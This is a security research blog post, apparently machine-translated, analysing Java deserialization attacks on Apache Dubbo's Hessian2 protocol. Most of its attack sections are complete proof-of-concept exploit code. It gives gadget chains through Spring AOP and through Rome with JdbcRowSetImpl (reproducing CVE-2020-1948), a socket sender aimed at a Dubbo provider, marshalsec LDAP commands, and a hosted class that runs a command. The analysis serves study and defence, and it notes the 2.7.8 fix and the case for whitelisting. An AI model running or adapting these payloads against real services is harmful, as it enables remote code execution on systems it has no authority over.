Dubbo's deserialization security problem - Hessian2

0 Preface

This article is the first in a series of articles. It mainly looks at the security problems when Dubbo uses the deserialization protocol Hessian 2. This article requires prerequisite knowledge points such as RPC, Dubbo and deserialization. It is recommended to read and experience Dubbo and deserialization vulnerabilities first.

Dubbo source code analysis

RPC framework dubbo Architecture Principle and instructions

RPC framework Dubbo from understanding to using (I)

[RPC framework Dubbo from understanding to using (2)

1 deserialization protocol - Hessian2

hessian2 is a remote communication library based on binary RPC Protocol developed by caucho, and the well-known Web container Resin is also developed by caucho.

When using hessian2 for serialization and deserialization in java, the Field is directly copied through the native method or reflection (actually using the native method), which is different from some methods that call setter and getter methods for deserialization.

1.1 target class type deserializer

When using hessian2 for serialization and deserialization, the serializer and deserializer will be automatically selected according to the class object. For example, in Dubbo's jar package, there is a com.alibaba.com.caucho.hessian.io.Hessian2Output class, which has a writeObject method, as follows

  • com.alibaba.com.caucho.hessian.io.Hessian2Output#writeObject()
@Override
public void writeObject(Object object) throws IOException {
    if (object == null) {
        writeNull();
        return;
    }

    Serializer serializer;
    serializer = findSerializerFactory().getSerializer(object.getClass());
    serializer.writeObject(object, this);
}

The serializer object here obviously finds the corresponding serializer through the incoming object type, and then serializes the object using the corresponding serializer. The corresponding relationship between the serializable types in hessian2 and the corresponding serializers and deserializers is as follows

type Serializer Deserializer
Collection CollectionSerializer CollectionDeserializer
Map MapSerializer MapDeserializer
Iterator IteratorSerializer IteratorDeserializer
Annotation AnnotationSerializer AnnotationDeserializer
Interface ObjectSerializer ObjectDeserializer
Array ArraySerializer ArrayDeserializer
Enumeration EnumerationSerializer EnumerationDeserializer
Enum EnumSerializer EnumDeserializer
Class ClassSerializer ClassDeserializer
default JavaSerializer JavaDeserializer
Throwable ThrowableSerializer
InputStream InputStreamSerializer InputStreamDeserializer
InetAddress InetAddressSerializer

It can be seen that common types such as Collection, Map, Iterator and Array have corresponding (DE) serializers

1.2 gadget start point in hessian2

As mentioned earlier, there are corresponding (DE) serializers in different types of hessian2. Add the dependency of hessian2. Start with com.caucho.hessian.io.Hessian2Input#readObject()

  • com.caucho.hessian.io.Hessian2Input#readObject(Class cl)
public Object readObject(Class cl) throws IOException{
	if (cl == null || cl == Object.class) return readObject();
    
    int tag = _offset < _length ? (_buffer[_offset++] & 0xff) : read();
    switch (tag) {
        case 'N':
            {return null;}
        ..... // ellipsis
        case 'H':
          {
            Deserializer reader = findSerializerFactory().getDeserializer(cl);
            return reader.readMap(this);
          }

        case 'M':
          {
            String type = readType();
            // hessian/3bb3
            if ("".equals(type)) {
              Deserializer reader;
              reader = findSerializerFactory().getDeserializer(cl);
              return reader.readMap(this);
            }
            else {
              Deserializer reader;
              reader = findSerializerFactory().getObjectDeserializer(type, cl);
              return reader.readMap(this);
            }
          }
		..... // ellipsis
    }
}

In the case here, H is the serialization flag of HashMap and M is the serialization flag of Map. When Hessian2 deserializes, it obtains the corresponding Deserializer, i.e. Deserializer, according to the label value. For different types, the Deserializer has different processing. Here, H and m will obtain MapDeserializer, so follow up the readMap method of this class

  • com.caucho.hessian.io.MapDeserializer#readMap(AbstractHessianInput in)
public Object readMap(AbstractHessianInput in) throws IOException {
    Map map;

    if (_type == null)
        map = new HashMap();
    else if (_type.equals(Map.class))
        map = new HashMap();
    else if (_type.equals(SortedMap.class))
        map = new TreeMap();
    else {
        try {
            map = (Map) _ctor.newInstance();
        } catch (Exception e) {
            throw new IOExceptionWrapper(e);
        }
    }

    in.addRef(map);
    while (! in.isEnd()) {
        map.put(in.readObject(), in.readObject());
    }
    in.readEnd();
    return map;
}

As you can see, according to_ The type parameter selects which type of map class to build, and then calls the map.put method through the while loop to pass all key values to the map, and then returns the created map instance. If you are familiar with the use chain of Commons collections, you should think of the use chain of HashMap. When calling the HashMap#put method, you will trigger the HashMap#hashCode method and further call the key.hashCode() method. Because the key is set as the instance of TiedMapEntry, you will enter the Transformer call chain step by step. The map. Put method here is the starting point of the gadget of Hessian2. In Dubbo, although some magic changes have been made to Hessian2, the same call will eventually occur:

2 exploitation of Hessian2 vulnerability in Dubbo

Environment used:

dubbo 2.7.3

springboot 1.2.0.RELEASE (spring version 4.1.3.RELEASE)

2.1 local method testing

As mentioned earlier, because the hessian2 protocol calls readObject() method in anti serialization, it calls the creation of a new Map object based on the serialized Map type, and then calls the object's put method, which may result in the anti serialization exploit. Here first write a class experiment

package com.bitterz.dubbo;

import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectInput;
import java.io.*;
import java.util.HashMap;

public class Hessian2Gadget {
    public static class MyHashMap<K, V> extends HashMap<K, V>{

        public V put(K key, V value) {
            super.put(key, value);
            System.out.println(111111111);
            try{
            Runtime.getRuntime().exec("calc");
            }catch (Exception e){}
            System.out.println(22222222);
            return  null;
        }
    }

    public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException {
        MyHashMap map = new MyHashMap();
        map.put("1", "1");
        
        // Serialization of hessian2
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2ObjectOutput hessian2Output = new Hessian2ObjectOutput(byteArrayOutputStream);
        hessian2Output.writeObject(map);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();

        System.out.println(new String(bytes, 0, bytes.length));
		// Deserialization of Hessian 2
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2ObjectInput hessian2Input = new Hessian2ObjectInput(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();
        o.get(null);

        System.out.println(o);
    }

I created a MyHashMap class here, inherited from HashMap, rewritten the put method, and then used hessian2 to serialize and deserialize MyHashMap in the main method. After executing the code, the output results are as follows

Obviously, the MyHashMap#put method executes twice:

  • Before serialization, in order to add a value put to the map, the calculator pops up and outputs 111 and 222;

  • During deserialization, as mentioned earlier, the put method of the deserialized Map class will be called to add values, so the calculator pops up again and outputs 111 and 222;

Therefore, there is a possibility that the hessian2 protocol in Dubbo may be exploited by deserialization vulnerability, but in the real Web environment, there is no class such as MyHashMap to directly provide the put method of the elastic Calculator:) therefore, it is also necessary to further increase the availability of gadget s in combination with other dependencies.

2.2 SpringPartiallyComparableAdvisorHolder

Dubbo relies on Spring, Javassist, netty and other packages by default, but springboot is likely to be used as a microservice in actual development and use to provide services as a provider. Therefore, the construction of gadgets can be completed with the help of common packages. The common available gadgets in hessian2 are mainly Resin,Rome,SpringAbstractBeanFactoryPointcutAdvisor,XBean These. Spring partiallycomparableadvisorholder is a class that needs to be used in Spring AOP, so take this as an example to build poc. The code is as follows

package com.bitterz.dubbo;

import com.caucho.hessian.io.*;
import org.apache.commons.logging.impl.NoOpLog;
import com.caucho.hessian.io.SerializerFactory;
import org.springframework.aop.aspectj.AbstractAspectJAdvice;
import org.springframework.aop.aspectj.AspectInstanceFactory;
import org.springframework.aop.aspectj.AspectJAroundAdvice;
import org.springframework.aop.aspectj.AspectJPointcutAdvisor;
import org.springframework.aop.aspectj.annotation.BeanFactoryAspectInstanceFactory;
import org.springframework.aop.target.HotSwappableTargetSource;
import org.springframework.jndi.support.SimpleJndiBeanFactory;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;


public class Hessian2SpringGadget {
    public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
        public NoWriteReplaceSerializerFactory() {
        }

        public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
            return super.getObjectSerializer(cl);
        }

        public Serializer getSerializer(Class cl) throws HessianProtocolException {
            Serializer serializer = super.getSerializer(cl);
            return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
        }
    }

    public static class Reflections{
        public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
            Field field=null;
            Class cl = obj.getClass();
            while (cl != Object.class){
                try{
                    field = cl.getDeclaredField(fieldName);
                    if(field!=null){
                    break;}
                }
                catch (Exception e){
                    cl = cl.getSuperclass();
                }
            }
            if (field==null){
                System.out.println(obj.getClass().getName());
                System.out.println(fieldName);
            }
            field.setAccessible(true);
            field.set(obj,fieldValue);
        }

        public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }

        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
    }

    public static void main(String[] args) throws Exception {
        String jndiUrl = "ldap://localhost:1389/ExecTest";
        SimpleJndiBeanFactory bf = new SimpleJndiBeanFactory();
        bf.setShareableResources(jndiUrl);

        //During deserialization, BeanFactoryAspectInstanceFactory.getOrder will be called, triggering a call to simplejndibeanfactory. GetType - > simplejndibeanfactory. Dogettype - > simplejndibeanfactory. Dogetsingleton - > simplejndibeanfactory. Lookup - > jnditemplate.lookup
        Reflections.setFieldValue(bf, "logger", new NoOpLog());
        Reflections.setFieldValue(bf.getJndiTemplate(), "logger", new NoOpLog());

        //During deserialization, aspectjaroundadadvice.getorder will be called and beanfactory aspectinstancefactory.getorder will be triggered
        AspectInstanceFactory aif = Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
        Reflections.setFieldValue(aif, "beanFactory", bf);
        Reflections.setFieldValue(aif, "name", jndiUrl);

        //During deserialization, AspectJPointcutAdvisor.getOrder will be called, which will trigger aspectjaroundadadvice.getorder
        AbstractAspectJAdvice advice = Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
        Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);

        //During deserialization, PartiallyComparableAdvisorHolder.toString will be called and AspectJPointcutAdvisor.getOrder will be triggered
        AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
        Reflections.setFieldValue(advisor, "advice", advice);

        //Xstring.equals will be called during deserialization and PartiallyComparableAdvisorHolder.toString will be triggered
        Class<?> pcahCl = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
        Object pcah = Reflections.createWithoutConstructor(pcahCl);
        Reflections.setFieldValue(pcah, "advisor", advisor);

        //During deserialization, hotswapabletargetsource.equals will be called to trigger Xstring.equals
        HotSwappableTargetSource v1 = new HotSwappableTargetSource(pcah);
        HotSwappableTargetSource v2 = new HotSwappableTargetSource(new XString("xxx"));

        //During deserialization, HashMap.putVal will be called to trigger hotswapabletargetsource.equals. HashMap.put is not directly used here. Direct put will trigger the utilization chain locally, so marshalsec uses a special processing method.
        HashMap<Object, Object> s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        // Avoid triggering gadget s when serializing
        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);


        // hessian2 serialization
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output hessian2Output = new Hessian2Output(byteArrayOutputStream);
        NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        hessian2Output.setSerializerFactory(sf);
        hessian2Output.writeObject(s);
        hessian2Output.flushBuffer();
        byte[] bytes = byteArrayOutputStream.toByteArray();

        // hessian2 deserialization
        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
        Hessian2Input hessian2Input = new Hessian2Input(byteArrayInputStream);
        HashMap o = (HashMap) hessian2Input.readObject();

    }
}

You also need to use marshalsec to open a malicious ldap service

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest

ExecTest.class is compiled from the following code

import java.io.IOException;
public class ExecTest {
    public ExecTest() throws IOException {
        final Process process = Runtime.getRuntime().exec("calc");
    }
}

Then use python to open the file download service in the ExecTest.class file directory

py -3 -m http.server 8090

Run the previous gadget, the ldap service receives the request, allows the client to access port 8090, download the. Class file, execute the parameterless construction method of this class, and pop up the calculator

The previous gadget has specified the specific trigger path in the comments, so we won't expand it in detail. You can replace the code of ExecTest.java shot calculator with new java.io.IOException().printStackTrace();, Then trace the call stack. This gadget cannot be reproduced successfully under springboot. It may be that some aop related classes in springboot have been modified

2.3 Rome (CVE-2020-1948 reproduction)

Rome is a package that implements RSS subscription in java. The dependencies are as follows

<dependency>
    <groupId>com.rometools</groupId>
    <artifactId>rome</artifactId>
    <version>1.8.0</version>
</dependency>

CVE-2020-1948(Apache Dubbo Provider deserialization) is reproduced here

  • First download zookeeper
wget http://archive.apache.org/dist/zookeeper/zookeeper-3.3.3/zookeeper-3.3.3.tar.gz
tar zxvf zookeeper-3.3.3.tar.gz
cd zookeeper-3.3.3
cp conf/zoo_sample.cfg conf/zoo.cfg
  • to configure
vim conf/zoo.cfg
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
dataDir=/Absolute path/zookeeper-3.3.3/data
# the port at which the clients will connect
clientPort=2181
  • Modify the absolute path and place a myid file in the data directory
mkdir data
touch data/myid
  • Start zookeeper
cd /private/var/tmp/zookeeper-3.3.3/bin
./zkServer.sh start
  • Installing Dubbo samples
git clone https://github.com/apache/dubbo-samples.git
cd dubbo-samples/dubbo-samples-api
  • Modify Dubbo samples / Dubbo samples API / pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>dubbomytest</artifactId>
    <packaging>pom</packaging>
    <version>1.0-SNAPSHOT</version>
    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-compiler-plugin</artifactId>
                <configuration>
                    <source>8</source>
                    <target>8</target>
                </configuration>
            </plugin>
        </plugins>
    </build>


    <properties>
        <source.level>1.8</source.level>
        <target.level>1.8</target.level>
        <dubbo.version>2.7.6</dubbo.version>
        <junit.version>4.12</junit.version>
        <docker-maven-plugin.version>0.30.0</docker-maven-plugin.version>
        <jib-maven-plugin.version>1.2.0</jib-maven-plugin.version>
        <maven-compiler-plugin.version>3.7.0</maven-compiler-plugin.version>
        <maven-failsafe-plugin.version>2.21.0</maven-failsafe-plugin.version>
        <image.name>${project.artifactId}:${dubbo.version}</image.name>
        <java-image.name>openjdk:8</java-image.name>
        <dubbo.port>20880</dubbo.port>
        <zookeeper.port>2181</zookeeper.port>
        <main-class>org.apache.dubbo.samples.provider.Application</main-class>
    </properties>

    <dependencies>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo</artifactId>
            <version>2.7.3</version>
        </dependency>
        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-common</artifactId>
            <version>2.7.3</version>
        </dependency>

        <dependency>
            <groupId>org.apache.dubbo</groupId>
            <artifactId>dubbo-dependencies-zookeeper</artifactId>
            <version>2.7.3</version>
            <type>pom</type>
        </dependency>
        <dependency>
            <groupId>com.rometools</groupId>
            <artifactId>rome</artifactId>
            <version>1.8.0</version>
        </dependency>
        <dependency>
            <groupId>junit</groupId>
            <artifactId>junit</artifactId>
            <version>${junit.version}</version>
            <scope>test</scope>
        </dependency>

    </dependencies>

</project>
  • Compile start
mvn clean package
 Or directly in idea Inside start provider/Application.java

Pay attention to modifying the ports of zookeeper and dubbo. After startup, output dubbo service started, indicating that dubbo has been started

The payload used is as follows

import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.sql.SQLException;
import java.util.HashMap;
import java.util.Random;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import com.caucho.hessian.io.*;
import sun.reflect.ReflectionFactory;

import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class Hessian2RomeGadget {
    public static class NoWriteReplaceSerializerFactory extends SerializerFactory {
        public NoWriteReplaceSerializerFactory() {
        }

        public Serializer getObjectSerializer(Class<?> cl) throws HessianProtocolException {
            return super.getObjectSerializer(cl);
        }

        public Serializer getSerializer(Class cl) throws HessianProtocolException {
            Serializer serializer = super.getSerializer(cl);
            return (Serializer)(serializer instanceof WriteReplaceSerializer ? UnsafeSerializer.create(cl) : serializer);
        }
    }

    public static class Reflections{
        public static void setFieldValue(Object obj, String fieldName, Object fieldValue) throws Exception{
            Field field=null;
            Class cl = obj.getClass();
            while (cl != Object.class){
                try{
                    field = cl.getDeclaredField(fieldName);
                    if(field!=null){
                        break;}
                }
                catch (Exception e){
                    cl = cl.getSuperclass();
                }
            }
            if (field==null){
                System.out.println(obj.getClass().getName());
                System.out.println(fieldName);
            }
            field.setAccessible(true);
            field.set(obj,fieldValue);
        }

        public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
        }

        public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
            Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
            objCons.setAccessible(true);
            Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
            sc.setAccessible(true);
            return (T) sc.newInstance(consArgs);
        }
    }

    public static void main(String[] args) throws Exception {
        JdbcRowSetImpl rs = new JdbcRowSetImpl();
        //todo fill in the ldap url here
        rs.setDataSourceName("ldap://127.0.0.1:1389/ExecTest");
        rs.setMatchColumn("foo");
        Reflections.setFieldValue(rs, "listeners",null);

        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
        EqualsBean root = new EqualsBean(ToStringBean.class, item);

        HashMap s = new HashMap<>();
        Reflections.setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
        Reflections.setFieldValue(s, "table", tbl);

        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

        // header.
        byte[] header = new byte[16];
        // set magic number.
        Bytes.short2bytes((short) 0xdabb, header);
        // set request and serialization flag.
        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);

        // set request id.
        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);

        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);
        NoWriteReplaceSerializerFactory sf = new NoWriteReplaceSerializerFactory();
        sf.setAllowNonSerializable(true);
        out.setSerializerFactory(sf);

        out.writeObject(s);

        out.flushBuffer();
        if (out instanceof Cleanable) {
            ((Cleanable) out).cleanup();
        }

        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
        byteArrayOutputStream.write(header);
        byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());

        byte[] bytes = byteArrayOutputStream.toByteArray();

        //todo fill in the address and port of the attacked dubbo service provider here
        Socket socket = new Socket("127.0.0.1", 20880);
        OutputStream outputStream = socket.getOutputStream();
        outputStream.write(bytes);
        outputStream.flush();
        outputStream.close();
    }
}

As in previous 2.2, use marshalsec to start jndi service, then python to open a file download service, then execute payload to send malicious data to dubbo, and then deserialize and trigger the corresponding gadget in dubbo provider to realize rce. The effects are as follows

The vulnerability was fixed in Dubbo 2.7.8, filtering key classes by adding a blacklist

summary

When hessian2 in dubbo is deserialized, the map.get method will be called when processing objects of map type, and the call of hashCode and equals methods will be designed for the get method in the implementation of HashMap, which creates an opportunity for some dangerous class method calls. dubbo uses Hessian 2 as the default deserialization protocol, which is easy to be attacked by deserialization vulnerability. The deserialization class name should be filtered by white list. In addition, some bigwigs mentioned that when using blacklists, the other methods of calling objects could also be threatened if objects are serialized. http://rui0.cn/archives/1338

This is the beginning of Dubbo's research record on deserialization, which will be discussed later

  • Study and Research on kryo and fst deserialization vulnerabilities under Dubbo 2.x (CVE-2021-25641)
  • The vulnerabilities of akka protocol based on kryo in flink are mined( https://bcs.qianxin.com/live/show.php?itemid=33)
  • And the security vulnerabilities caused by the triple protocol under Dubbo 3.x( https://bcs.qianxin.com/live/show.php?itemid=33)
  • Vulnerability replication: CVE-2021-30180: Apache Dubbo YAML deserialization vulnerability, CVE-2021-30181: Apache Dubbo Nashorn script Remote Code Execution Vulnerability, CVE-2021-30179: Apache Dubbo Generic filter Remote Code Execution Vulnerability, CVE-2021-32824: Apache Dubbo Telnet handler Remote Code Execution Vulnerability replication

Posted by arpowers on Mon, 08 Nov 2021 21:54:46 -0800